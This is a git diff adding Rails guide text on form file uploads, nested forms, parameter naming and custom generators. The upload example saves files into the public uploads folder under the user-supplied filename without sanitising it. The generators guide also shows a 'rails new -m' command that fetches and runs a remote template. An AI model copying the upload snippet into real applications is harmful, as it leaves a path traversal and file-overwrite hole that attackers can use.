+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding **MUST** be set to "multipart/form-data". If you use `form_for`, this is done automatically. If you use `form_tag`, you must set it yourself, as per the following example.
+
+The following two forms both upload a file.
+
+```erb
+<%= form_tag({action: :upload}, multipart: true) do %>
+  <%= file_field_tag 'picture' %>
+<% end %>
+
+<%= form_for @person do |f| %>
+  <%= f.file_field :picture %>
+<% end %>
+```
+
+Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.
+
+### What Gets Uploaded
+
+The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same n [...]
+
+```ruby
+def upload
+  uploaded_io = params[:person][:picture]
+  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|
+    file.write(uploaded_io.read)
+  end
+end
+```
+
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](http://www.thoughtbot.com/projects/paperclip).
+
+NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
+
+### Dealing with Ajax
+
+Unlike other forms making an asynchronous file upload form is not as simple as providing `form_for` with `remote: true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+
+Customizing Form Builders
+-------------------------
+
+As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass FormBuilder and add the helpers there. For example
+
+```erb
+<%= form_for @person do |f| %>
+  <%= text_field_with_label f, :first_name %>
+<% end %>
+```
+
+can be replaced with
+
+```erb
+<%= form_for @person, builder: LabellingFormBuilder do |f| %>
+  <%= f.text_field :first_name %>
+<% end %>
+```
+
+by defining a LabellingFormBuilder class similar to the following:
+
+```ruby
+class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  def text_field(attribute, options={})
+    label(attribute) + super
+  end
+end
+```
+
+If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `builder: LabellingFormBuilder` option.
+
+The form builder used also determines what happens when you do
+
+```erb
+<%= render partial: f %>
+```
+
+If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead.
+
+Understanding Parameter Naming Conventions
+------------------------------------------
+
+As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create`
+action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.
+
+Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+
+TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example,
+
+```ruby
+Rack::Utils.parse_query "name=fred&phone=0123456789"
+# => {"name"=>"fred", "phone"=>"0123456789"}
+```
+
+### Basic Structures
+
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains
+
+```html
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+```
+
+the `params` hash will contain
+
+```erb
+{'person' => {'name' => 'Henry'}}
+```
+
+and `params[:person][:name]` will retrieve the submitted value in the controller.
+
+Hashes can be nested as many levels as required, for example
+
+```html
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+```
+
+will result in the `params` hash being
+
+```ruby
+{'person' => {'address' => {'city' => 'New York'}}}
+```
+
+Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
+
+```html
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+```
+
+This would result in `params[:person][:phone_number]` being an array.
+
+### Combining Them
+
+We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
+
+```html
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+```
+
+This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
+
+WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working wi [...]
+
+### Using Form Helpers
+
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take.
+
+You might want to render a form with a set of edit fields for each of a person's addresses. For example:
+
+```erb
+<%= form_for @person do |person_form| %>
+  <%= person_form.text_field :name %>
+  <% @person.addresses.each do |address| %>
+    <%= person_form.fields_for address, index: address.id do |address_form|%>
+      <%= address_form.text_field :city %>
+    <% end %>
+  <% end %>
+<% end %>
+```
+
+Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
+
+```html
+<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="person_address_23_city" name="person[address][23][city]" type="text" />
+  <input id="person_address_45_city" name="person[address][45][city]" type="text" />
+</form>
+```
+
+This will result in a `params` hash that looks like
+
+```ruby
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+```
+
+Rails knows that all these inputs should be part of the person hash because you
+called `fields_for` on the first form builder. By specifying an `:index` option
+you're telling Rails that instead of naming the inputs `person[address][city]`
+it should insert that index surrounded by [] between the address and the city.
+This is often useful as it is then easy to locate which Address record
+should be modified. You can pass numbers with some other significance,
+strings or even `nil` (which will result in an array parameter being created).
+
+To create more intricate nestings, you can specify the first part of the input
+name (`person[address]` in the previous example) explicitly:
+
+```erb
+<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+```
+
+will create inputs like
+
+```html
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
+```
+
+As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
+
+As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `index: address` so
+
+```erb
+<%= fields_for 'person[address][primary][]', address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+```
+
+produces exactly the same output as the previous example.
+
+Forms to external resources
+---------------------------
+
+If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
+
+```erb
+<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token') do %>
+  Form contents
+<% end %>
+```
+
+Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option:
+
+```erb
+<%= form_tag 'http://farfar.away/form', authenticity_token: false) do %>
+  Form contents
+<% end %>
+```
+
+The same technique is also available for `form_for`:
+
+```erb
+<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
+  Form contents
+<% end %>
+```
+
+Or if you don't want to render an `authenticity_token` field:
+
+```erb
+<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
+  Form contents
+<% end %>
+```
+
+Building Complex Forms
+----------------------
+
+Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
+
+### Configuring the Model
+
+Active Record provides model level support via the `accepts_nested_attributes_for` method:
+
+```ruby
+class Person < ActiveRecord::Base
+  has_many :addresses
+  accepts_nested_attributes_for :addresses
+end
+
+class Address < ActiveRecord::Base
+  belongs_to :person
+end
+```
+
+This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
+
+### Nested Forms
+
+The following form allows a user to create a `Person` and its associated addresses.
+
+```html+erb
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+
+        <%= addresses_form.label :street %>
+        <%= addresses_form.text_field :street %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+```
+
+
+When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.
+
+```ruby
+def new
+  @person = Person.new
+  2.times { @person.addresses.build}
+end
+```
+
+The `fields_for` yields a form builder. The parameters' name will be what
+`accepts_nested_attributes_for` expects. For example when creating a user with
+2 addresses, the submitted parameters would look like:
+
+```ruby
+{
+  'person' => {
+    'name' => 'John Doe',
+    'addresses_attributes' => {
+      '0' => {
+        'kind' => 'Home',
+        'street' => '221b Baker Street'
+      },
+      '1' => {
+        'kind' => 'Office',
+        'street' => '31 Spooner Street'
+      }
+    }
+  }
+}
+```
+
+The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
+
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`.
+
+### The Controller
+
+As usual you need to
+[whitelist the parameters](action_controller_overview.html#strong-parameters) in
+the controller before you pass them to the model:
+
+```ruby
+def create
+  @person = Person.new(person_params)
+  # ...
+end
+
+private
+  def person_params
+    params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+  end
+```
+
+### Removing Objects
+
+You can allow users to delete associated objects by passing `allow_destroy: true` to `accepts_nested_attributes_for`
+
+```ruby
+class Person < ActiveRecord::Base
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, allow_destroy: true
+end
+```
+
+If the hash of attributes for an object contains the key `_destroy` with a value
+of `1` or `true` then the object will be destroyed. This form allows users to
+remove addresses:
+
+```erb
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.check_box :_destroy%>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+```
+
+Don't forget to update the whitelisted params in your controller to also include
+the `_destroy` field:
+
+```ruby
+def person_params
+  params.require(:person).
+    permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
+end
+```
+
+### Preventing Empty Records
+
+It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set.
+
+```ruby
+class Person < ActiveRecord::Base
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
+end
+```
+
+As a convenience you can instead pass the symbol `:all_blank` which will create a proc that will reject records where all the attributes are blank excluding any value for `_destroy`.
+
+### Adding Fields on the Fly
+
+Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice.
diff --git a/guides/source/generators.md b/guides/source/generators.md
new file mode 100644
index 0000000..6c0cbaa
--- /dev/null
+++ b/guides/source/generators.md
@@ -0,0 +1,663 @@
+Creating and Customizing Rails Generators & Templates
+=====================================================
+
+Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.
+
+After reading this guide, you will know:
+
+* How to see which generators are available in your application.
+* How to create a generator using templates.
+* How Rails searches for generators before invoking them.
+* How to customize your scaffold by creating new generators.
+* How to customize your scaffold by changing generator templates.
+* How to use fallbacks to avoid overwriting a huge set of generators.
+* How to create an application template.
+
+--------------------------------------------------------------------------------
+
+First Contact
+-------------
+
+When you create an application using the `rails` command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking `rails generate`:
+
+```bash
+$ rails new myapp
+$ cd myapp
+$ bin/rails generate
+```
+
+You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
+
+```bash
+$ bin/rails generate helper --help
+```
+
+Creating Your First Generator
+-----------------------------
+
+Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
+
+The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:
+
+```ruby
+class InitializerGenerator < Rails::Generators::Base
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+  end
+end
+```
+
+NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
+
+Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
+
+To invoke our new generator, we just need to do:
+
+```bash
+$ bin/rails generate initializer
+```
+
+Before we go on, let's see our brand new generator description:
+
+```bash
+$ bin/rails generate initializer --help
+```
+
+Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator:
+
+```ruby
+class InitializerGenerator < Rails::Generators::Base
+  desc "This generator creates an initializer file at config/initializers"
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+  end
+end
+```
+
+Now we can see the new description by invoking `--help` on the new generator. The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step.
+
+Creating Generators with Generators
+-----------------------------------
+
+Generators themselves have a generator:
+
+```bash
+$ bin/rails generate generator initializer
+      create  lib/generators/initializer
+      create  lib/generators/initializer/initializer_generator.rb
+      create  lib/generators/initializer/USAGE
+      create  lib/generators/initializer/templates
+```
+
+This is the generator just created:
+
+```ruby
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("../templates", __FILE__)
+end
+```
+
+First, notice that we are inheriting from `Rails::Generators::NamedBase` instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable `name`.
+
+We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
+
+```bash
+$ bin/rails generate initializer --help
+Usage:
+  rails generate initializer NAME [options]
+```
+
+We can also see that our new generator has a class method called `source_root`. This method points to where our generator templates will be placed, if any, and by default it points to the created directory `lib/generators/initializer/templates`.
+
+In order to understand what a generator template means, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content:
+
+```ruby
+# Add initialization content here
+```
+
+And now let's change the generator to copy this template when invoked:
+
+```ruby
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("../templates", __FILE__)
+
+  def copy_initializer_file
+    copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
+  end
+end
+```
+
+And let's execute our generator:
+
+```bash
+$ bin/rails generate initializer core_extensions
+```
+
+We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.
+
+The methods that are available for generators are covered in the [final section](#generator-methods) of this guide.
+
+Generators Lookup
+-----------------
+
+When you run `rails generate initializer core_extensions` Rails requires these files in turn until one is found:
+
+```bash
+rails/generators/initializer/initializer_generator.rb
+generators/initializer/initializer_generator.rb
+rails/generators/initializer_generator.rb
+generators/initializer_generator.rb
+```
+
+If none is found you get an error message.
+
+INFO: The examples above put files under the application's `lib` because said directory belongs to `$LOAD_PATH`.
+
+Customizing Your Workflow
+-------------------------
+
+Rails own generators are flexible enough to let you customize scaffolding. They can be configured in `config/application.rb`, these are some defaults:
+
+```ruby
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: true
+end
+```
+
+Before we customize our workflow, let's first see what our scaffold looks like:
+
+```bash
+$ bin/rails generate scaffold User name:string
+      invoke  active_record
+      create    db/migrate/20130924151154_create_users.rb
+      create    app/models/user.rb
+      invoke    test_unit
+      create      test/models/user_test.rb
+      create      test/fixtures/users.yml
+      invoke  resource_route
+       route    resources :users
+      invoke  scaffold_controller
+      create    app/controllers/users_controller.rb
+      invoke    erb
+      create      app/views/users
+      create      app/views/users/index.html.erb
+      create      app/views/users/edit.html.erb
+      create      app/views/users/show.html.erb
+      create      app/views/users/new.html.erb
+      create      app/views/users/_form.html.erb
+      invoke    test_unit
+      create      test/controllers/users_controller_test.rb
+      invoke    helper
+      create      app/helpers/users_helper.rb
+      invoke      test_unit
+      create        test/helpers/users_helper_test.rb
+      invoke    jbuilder
+      create      app/views/users/index.json.jbuilder
+      create      app/views/users/show.json.jbuilder
+      invoke  assets
+      invoke    coffee
+      create      app/assets/javascripts/users.js.coffee
+      invoke    scss
+      create      app/assets/stylesheets/users.css.scss
+      invoke  scss
+      create    app/assets/stylesheets/scaffolds.css.scss
+```
+
+Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
+
+Our first customization on the workflow will be to stop generating stylesheets, javascripts and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
+
+```ruby
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+end
+```
+
+If we generate another resource with the scaffold generator, we can see that stylesheets, javascripts and fixtures are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
+
+To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
+
+```bash
+$ bin/rails generate generator rails/my_helper
+      create  lib/generators/rails/my_helper
+      create  lib/generators/rails/my_helper/my_helper_generator.rb
+      create  lib/generators/rails/my_helper/USAGE
+      create  lib/generators/rails/my_helper/templates
+```
+
+After that, we can delete both the `templates` directory and the `source_root`
+class method call from our new generator, because we are not going to need them.
+Add the method below, so our generator looks like the following:
+
+```ruby
+# lib/generators/rails/my_helper/my_helper_generator.rb
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+end
+```
+
+We can try out our new generator by creating a helper for users:
+
+```bash
+$ bin/rails generate my_helper products
+      create  app/helpers/products_helper.rb
+```
+
+And it will generate the following helper file in `app/helpers`:
+
+```ruby
+module ProductsHelper
+  attr_reader :products, :product
+end
+```
+
+Which is what we expected. We can now tell scaffold to use our new helper generator by editing `config/application.rb` once again:
+
+```ruby
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+  g.helper          :my_helper
+end
+```
+
+and see it in action when invoking the generator:
+
+```bash
+$ bin/rails generate scaffold Post body:text
+      [...]
+      invoke    my_helper
+      create      app/helpers/posts_helper.rb
+```
+
+We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
+
+Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.
+
+To do that, we can change the generator this way:
+
+```ruby
+# lib/generators/rails/my_helper/my_helper_generator.rb
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+
+  hook_for :test_framework
+end
+```
+
+Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both `Rails::TestUnitGenerator` and `TestUnit::MyHelperGenerator`. Since none of those are defined, we can tell our generator to invoke `TestUnit::Generators::HelperGenerator` instead, which is defined since it's a Rails generator. To do that, we just need to add:
+
+```ruby
+# Search for :helper instead of :my_helper
+hook_for :test_framework, as: :helper
+```
+
+And now you can re-run scaffold for another resource and see it generating tests as well!
+
+Customizing Your Workflow by Changing Generators Templates
+----------------------------------------------------------
+
+In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case `Rails::Generators::HelperGenerator`.
+
+In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is `lib/templates`. Since we want to customize `Rails::Generators::HelperGenerator`, we can do that by simply making a template copy inside `lib/templates/rails/helper` with the name `helper.rb`. So let's create that file with the following content:
+
+```erb
+module <%= class_name %>Helper
+  attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
+end
+```
+
+and revert the last change in `config/application.rb`:
+
+```ruby
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+end
+```
+
+If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`.
+
+Adding Generators Fallbacks
+---------------------------
+
+One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like [shoulda](https://github.com/thoughtbot/shoulda) does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Sho [...]
+
+We can easily simulate this behavior by changing our `config/application.rb` once again:
+
+```ruby
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :shoulda, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+
+  # Add a fallback!
+  g.fallbacks[:shoulda] = :test_unit
+end
+```
+
+Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
+
+```bash
+$ bin/rails generate scaffold Comment body:text
+      invoke  active_record
+      create    db/migrate/20130924143118_create_comments.rb
+      create    app/models/comment.rb
+      invoke    shoulda
+      create      test/models/comment_test.rb
+      create      test/fixtures/comments.yml
+      invoke  resource_route
+       route    resources :comments
+      invoke  scaffold_controller
+      create    app/controllers/comments_controller.rb
+      invoke    erb
+      create      app/views/comments
+      create      app/views/comments/index.html.erb
+      create      app/views/comments/edit.html.erb
+      create      app/views/comments/show.html.erb
+      create      app/views/comments/new.html.erb
+      create      app/views/comments/_form.html.erb
+      invoke    shoulda
+      create      test/controllers/comments_controller_test.rb
+      invoke    my_helper
+      create      app/helpers/comments_helper.rb
+      invoke      shoulda
+      create        test/helpers/comments_helper_test.rb
+      invoke    jbuilder
+      create      app/views/comments/index.json.jbuilder
+      create      app/views/comments/show.json.jbuilder
+      invoke  assets
+      invoke    coffee
+      create      app/assets/javascripts/comments.js.coffee
+      invoke    scss
+```
+
+Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
+
+Application Templates
+---------------------
+
+Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template". This is a brief overview of the Templates API. For detailed documentation see the [Rails Application Templates guide](rails_application_templates.html).
+
+```ruby
+gem "rspec-rails", group: "test"
+gem "cucumber-rails", group: "test"
+
+if yes?("Would you like to install Devise?")
+  gem "devise"
+  generate "devise:install"
+  model_name = ask("What would you like the user model to be called? [user]")
+  model_name = "user" if model_name.blank?
+  generate "devise", model_name
+end
+```
+
+In the above template we specify that the application relies on the `rspec-rails` and `cucumber-rails` gem so these two will be added to the `test` group in the `Gemfile`. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the `Gemfile` outside of any group and then runs the `devise:install` generator. This template then takes the users input and runs the `devi [...]
+
+Imagine that this template was in a file called `template.rb`. We can use it to modify the outcome of the `rails new` command by using the `-m` option and passing in the filename:
+
+```bash
+$ rails new thud -m template.rb
+```
+
+This command will generate the `Thud` application, and then apply the template to the generated output.
+
+Templates don't have to be stored on the local system, the `-m` option also supports online templates:
+
+```bash
+$ rails new thud -m https://gist.github.com/radar/722911/raw/
+```
+
+Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
+
+Generator methods
+-----------------
+
+The following are methods available for both generators and templates for Rails.
+
+NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
+
+### `gem`
+
+Specifies a gem dependency of the application.
+
+```ruby
+gem "rspec", group: "test", version: "2.1.0"
+gem "devise", "1.1.5"
+```
+
+Available options are:
+
+* `:group` - The group in the `Gemfile` where this gem should go.
+* `:version` - The version string of the gem you want to use. Can also be specified as the second argument to the method.
+* `:git` - The URL to the git repository for this gem.
+
+Any additional options passed to this method are put on the end of the line:
+
+```ruby
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+```
+
+The above code will put the following line into `Gemfile`:
+
+```ruby
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+```
+
+### `gem_group`
+
+Wraps gem entries inside a group:
+
+```ruby
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+```
+
+### `add_source`
+
+Adds a specified source to `Gemfile`:
+
+```ruby
+add_source "http://gems.github.com"
+```
+
+### `inject_into_file`
+
+Injects a block of code into a defined position in your file.
+
+```ruby
+inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
+  puts "Hello World"
+RUBY
+end
+```
+
+### `gsub_file`
+
+Replaces text inside a file.
+
+```ruby
+gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
+```
+
+Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.
+
+### `application`
+
+Adds a line to `config/application.rb` directly after the application class definition.
+
+```ruby
+application "config.asset_host = 'http://example.com'"
+```
+
+This method can also take a block:
+
+```ruby
+application do
+  "config.asset_host = 'http://example.com'"
+end
+```
+
+Available options are:
+
+* `:env` - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
+
+```ruby
+application(nil, env: "development") do
+  "config.asset_host = 'http://localhost:3000'"
+end
+```
+
+### `git`
+
+Runs the specified git command:
+
+```ruby
+git :init
+git add: "."
+git commit: "-m First commit!"
+git add: "onefile.rb", rm: "badfile.cxx"
+```
+
+The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
+
+### `vendor`
+
+Places a file into `vendor` which contains the specified code.
+
+```ruby
+vendor "sekrit.rb", '#top secret stuff'
+```
+
+This method also takes a block:
+
+```ruby
+vendor "seeds.rb" do
+  "puts 'in your app, seeding your database'"
+end
+```
+
+### `lib`
+
+Places a file into `lib` which contains the specified code.
+
+```ruby
+lib "special.rb", "p Rails.root"
+```
+
+This method also takes a block:
+
+```ruby
+lib "super_special.rb" do
+  puts "Super special!"
+end
+```
+
+### `rakefile`
+
+Creates a Rake file in the `lib/tasks` directory of the application.
+
+```ruby
+rakefile "test.rake", "hello there"
+```
+
+This method also takes a block:
+
+```ruby
+rakefile "test.rake" do
+  %Q{
+    task rock: :environment do
+      puts "Rockin'"
+    end
+  }
+end
+```
+
+### `initializer`
+
+Creates an initializer in the `config/initializers` directory of the application:
+
+```ruby
+initializer "begin.rb", "puts 'this is the beginning'"
+```
+
+This method also takes a block, expected to return a string:
+
+```ruby
+initializer "begin.rb" do
+  "puts 'this is the beginning'"
+end
+```
+
